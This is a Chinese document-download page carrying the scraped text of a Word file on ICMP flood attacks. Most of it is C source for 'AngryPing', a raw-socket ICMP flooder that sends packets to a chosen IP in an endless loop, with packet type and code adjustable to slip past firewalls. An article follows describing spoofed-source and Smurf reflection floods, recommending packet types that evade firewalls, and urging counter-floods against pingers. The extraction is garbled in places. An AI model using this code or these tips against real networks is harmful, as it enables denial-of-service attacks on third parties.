ImageVerifierCode 换一换
格式:DOCX , 页数:17 ,大小:28.50KB ,
资源ID:5862389      下载积分:3 金币
快捷下载
登录下载
邮箱/手机:
温馨提示:
快捷下载时,用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)。 如填写123,账号就是123,密码也是123。
特别说明:
请自助下载,系统不会自动发送文件的哦; 如果您已付费,想二次下载,请登录后访问:我的下载记录
支付方式: 支付宝    微信支付   
验证码:   换一换

加入VIP,免费下载
 

温馨提示:由于个人手机设置不同,如果发现不能下载,请复制以下地址【https://www.bdocx.com/down/5862389.html】到电脑端继续下载(重复下载不扣费)。

已注册用户请登录:
账号:
密码:
验证码:   换一换
  忘记密码?
三方登录: 微信登录   QQ登录  

下载须知

1: 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。
2: 试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。
3: 文件的所有权益归上传用户所有。
4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
5. 本站仅提供交流平台,并不能对任何下载内容负责。
6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

版权提示 | 免责声明

本文(ICMP Flood.docx)为本站会员(b****6)主动上传,冰豆网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知冰豆网(发送邮件至service@bdocx.com或直接QQ联系客服),我们立即给予删除!

ICMP Flood.docx

1、ICMP FloodICMPflood源码 2007-11-23 10:02:38| 分类: C/C+/C# | 标签: |字号大中小 订阅 转自网络一位大牛写的ICMPflood源码 /* agp.c AnGryPing - ICMP Flooder by HBU小金(LK007) Copyright(C) 2002 E-MAIL:lk007 */ #include #include #include #pragma comment(lib, ws2_32.lib) /头文件和库文件声明,如果不能编译,请在Link里加上ws2_32.lib #define false 0 #define t

2、rue 1 #define SEQ 0x28376839 / 定义ICMP首部 typedef struct _ihdr BYTE i_type; /8位类型 BYTE i_code; /8位代码 USHORT i_cksum; /16位校验和 USHORT i_id; /识别号 USHORT i_seq; /报文序列号 ULONG timestamp; /时间戳 ICMP_HEADER; /计算校验和的子函数 USHORT checksum(USHORT *buffer, int size) unsigned long cksum=0; while(size 1) cksum+=*buffe

3、r+; size -=sizeof(USHORT); if(size ) cksum += *(UCHAR*)buffer; cksum = (cksum 16) + (cksum & 0xffff); cksum += (cksum 16); return (USHORT)(cksum); int main(int argc, char *argv) int datasize,ErrorCode,flag; int TimeOut=2000, SendSEQ=0, PacketSize=32,type=8,code=0,counter=0; /默认数据声明 char SendBuf65535

4、=0; /缓冲 WSADATA wsaData; SOCKET SockRaw=(SOCKET)NULL; struct sockaddr_in DestAddr; ICMP_HEADER icmp_header; char DestIp20; /目标IP if (argc2) printf(AngryPing by HBU-LK007n); printf(Usage:%s Dest n,argv0); /允许用户自定义数据包大小、类型、代码,用以绕过一些防火墙或做一些特殊的 /报文Flood exit(0); strcpy(DestIp,argv1); if (argc2) PacketSi

5、ze=atoi(argv2); /取得数据大小 if (PacketSize65500) printf(Packet size must less than 65500n); /太大会无法生成IP数据报的 exit(0); if (argc3) type=atoi(argv3); /取得类型值 if (type16) printf(Type must less than 16n); exit(0); if (argc4) code=atoi(argv4); /取得代码值 /初始化SOCK_RAW if(ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData)!=

6、0) fprintf(stderr,WSAStartup failed: %dn,ErrorCode); exit(0); if(SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0, WSA_FLAG_OVERLAPPED)=INVALID_SOCKET) fprintf(stderr,WSASocket failed: %dn,WSAGetLastError(); exit(0); flag=TRUE; /设置发送超时 ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*

7、)&TimeOut, sizeof(TimeOut); if (ErrorCode=SOCKET_ERROR) fprintf(stderr,Failed to set send TimeOut: %dn,WSAGetLastError(); exit(1); /主要代码开始 printf(Dest:%s packet:%d type:%d code:%dnn,argv1,PacketSize,type,code); printf(Starting.nn); /视觉效果:P memset(&DestAddr,0,sizeof(DestAddr); DestAddr.sin_family=AF_

8、INET; DestAddr.sin_addr.s_addr=inet_addr(DestIp); /填充Socket结构 /填充ICMP首部 icmp_header.i_type = type; icmp_header.i_code = code; icmp_header.i_cksum = 0; /校验和置0 icmp_header.i_id = 2; icmp_header.timestamp = GetTickCount(); /时间戳 icmp_header.i_seq=999; memcpy(SendBuf, &icmp_header, sizeof(icmp_header); /

9、组合ICMP报文和头部 memset(SendBuf+sizeof(icmp_header), E, PacketSize); /用E填充ICMP数据 icmp_header.i_cksum = checksum(USHORT *)SendBuf, sizeof(icmp_header)+PacketSize); /计算校验和 datasize=sizeof(icmp_header)+PacketSize; /计算整个数据包大小 /开始发送 while(1) /无限循环,按Ctrl+C跳出 /* 这里的printf实际上是为了延时,Flood程序最好别用这么华丽的界面或字符提示来美化 自己,这

10、样会迅速拖慢程序效率!当然,如果能不显示最好,但我去掉printf后,程序 死掉了(太快?)如果你觉得“Sending 1024 packets.”还是大大增加了延时,可以 改成printf(.); 一个小点。反正是自己用,用得顺手就可以。 */ printf(Sending 1024 packets.n); for(counter=0;counter受害者截获攻击者IP=211.97.54.3=换IP回来反击,嘿嘿2.伪造IP的Flood如果你是Win2000/XP并且是Administrator权限,可以试试看FakePing,它能随意伪造一个IP来Flood,让对方摸不到头脑,属于比较隐

11、蔽阴险的Flood。简单示意图: 伪造IP=1.1.1.1的ICMP攻击者IP=211.97.54.3-受害者截获攻击者IP=1.1.1.1=倒死3.反射用采取这种方式的第一个工具的名称来命名的“Smurf”洪水攻击,把隐蔽性又提高了一个档次,这种攻击模式里,最终淹没目标的洪水不是由攻击者发出的,也不是伪造IP发出的,而是正常通讯的服务器发出的!实现的原理也不算复杂,Smurf方式把源IP设置为受害者IP,然后向多台服务器发送ICMP报文(通常是ECHO请求),这些接收报文的服务器被报文欺骗,向受害者返回ECHO应答(Type=0),导致垃圾阻塞受害者的门口从示意图可以看出,它比上面两种方法多

12、了一级路径受骗的主机(称为“反射源”),所以,一个反射源是否有效或者效率低下,都会对Flood效果造成影响!简单示意图: 伪造受害者的ICMP 应答攻击者IP=211.97.54.3-正常的主机-受害者截获攻击者IP=网易?!=哭啊以上是几种常见的Flood方式,在测试中,我发现一个有趣的现象:一些防火墙(如天网)只能拦截ECHO请求(Ping)的ICMP报文,对于其他 ICMP报文一概睁只眼闭只眼,不知道其他防火墙有没有这个情况。所以想神不知鬼不觉对付你的敌人时,请尽量避开直接ECHO Flood,换用Type=0的ECHO应答或Type=14的时间戳应答最好,其他类型的ICMP报文没有详细

13、测试过,大家可以试试看Type=3、 4、11的特殊报文会不会有更大效果。六、ICMP Flood能防吗?先反问你一个问题:洪水迅猛的冲来时,你能否拿着一个脸盆来抵挡?(坐上脸盆做现代鲁宾逊倒是个不错的主意,没准能漂到MM身边呢)软件的网络防火墙能对付一些漏洞、溢出、OOB、IGMP攻击,但是对于洪水类型的攻击,它们根本无能为力,我通常对此的解释是“倾倒垃圾”:“有蟑螂或 老鼠在你家门前逗留,你可以把它们赶走,但如果有人把一车垃圾倾倒在你家门口呢?”前几天看到mikespook大哥对此有更体面的解释,转载过来“ 香蕉皮原理:如果有人给你一个香蕉和一个香蕉皮你能区分,并把没有用的香蕉皮扔掉。(一

14、般软件防火墙就是这么判断并丢弃数据包的。)但是如果有人在同一时 间内在你身上倒一车香蕉皮,你再能区分有用没用也没啥作用了因为你被香蕉皮淹没了(所以就算防火墙能区分是DoS的攻击数据包,也只能识别, 根本来不及丢弃死了,死了,死了)”所以,洪水没法防!能做的只有提高自己的带宽和预防洪水的发生(虽然硬件防火墙和分流技术能做到,但那价格是太昂贵的,而且一般人也没必要这样做)。如果你正在被攻击,最好的方法是抓取攻击者IP(除非对方用第一种,否则抓了没用假的IP)后,立即下线换IP!(什么?你是固定IP?没辙了,打电话找警察叔叔吧)七、被ICMP Flood攻击的特征如何发现ICMP Flood?当你出

15、现以下症状时,就要注意是否正被洪水攻击:1.传输状态里,代表远程数据接收的计算机图标一直亮着,而你没有浏览网页或下载2.防火墙一直提示有人试图ping你3.网络速度奇慢无比4.严重时系统几乎失去响应,鼠标呈跳跃状行走如果出现这些情况,先不要慌张,冷静观察防火墙报警的频率及IP来确认是否普通的Ping或是洪水,做出相应措施(其实大多数情况也只能换IP了)。1.普通ping这种“攻击”一般是对方扫描网络或用ping -t发起的,没多大杀伤力(这个时候,防火墙起的作用就是延迟攻击者的数据报发送间隔时间,请别关闭防火墙!否则后果是严重的!),通常表现如下:=13:09:20 61.151.252.10

16、6 尝试用Ping 来探测本机, 该操作被拒绝。13:09:24 61.151.252.106 尝试用Ping 来探测本机, 该操作被拒绝。13:09:26 61.151.252.106 尝试用Ping 来探测本机, 该操作被拒绝。13:09:30 61.151.252.106 尝试用Ping 来探测本机, 该操作被拒绝。=这么慢的速度,很明显是由ping.exe或IcmpSendEcho发出的,如果对方一直不停的让你的防火墙吵闹,你可以给他个真正的ICMP Flood问候。2.直接Flood这是比较够劲的真正意义洪水了,防火墙的报警密度会提高一个数量级:=13:09:20 61.151.252.106 尝试用Ping 来探测本机, 该操作被拒绝。13:09:20 61.151.252.106 尝试用Ping 来探测本机, 该操作被拒绝。13:09:20 61.151.252.106 尝试用Ping 来探测本机, 该操作被拒绝。13:09:20 61.151.252.106 尝试用Ping 来探测本机, 该操作被拒绝。13:09:20 61.151.252.106 尝试用Ping 来探测本机, 该操作被拒绝。13:09:20 61.151.252.106 尝试用Ping 来探测本机, 该操作被拒绝。

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1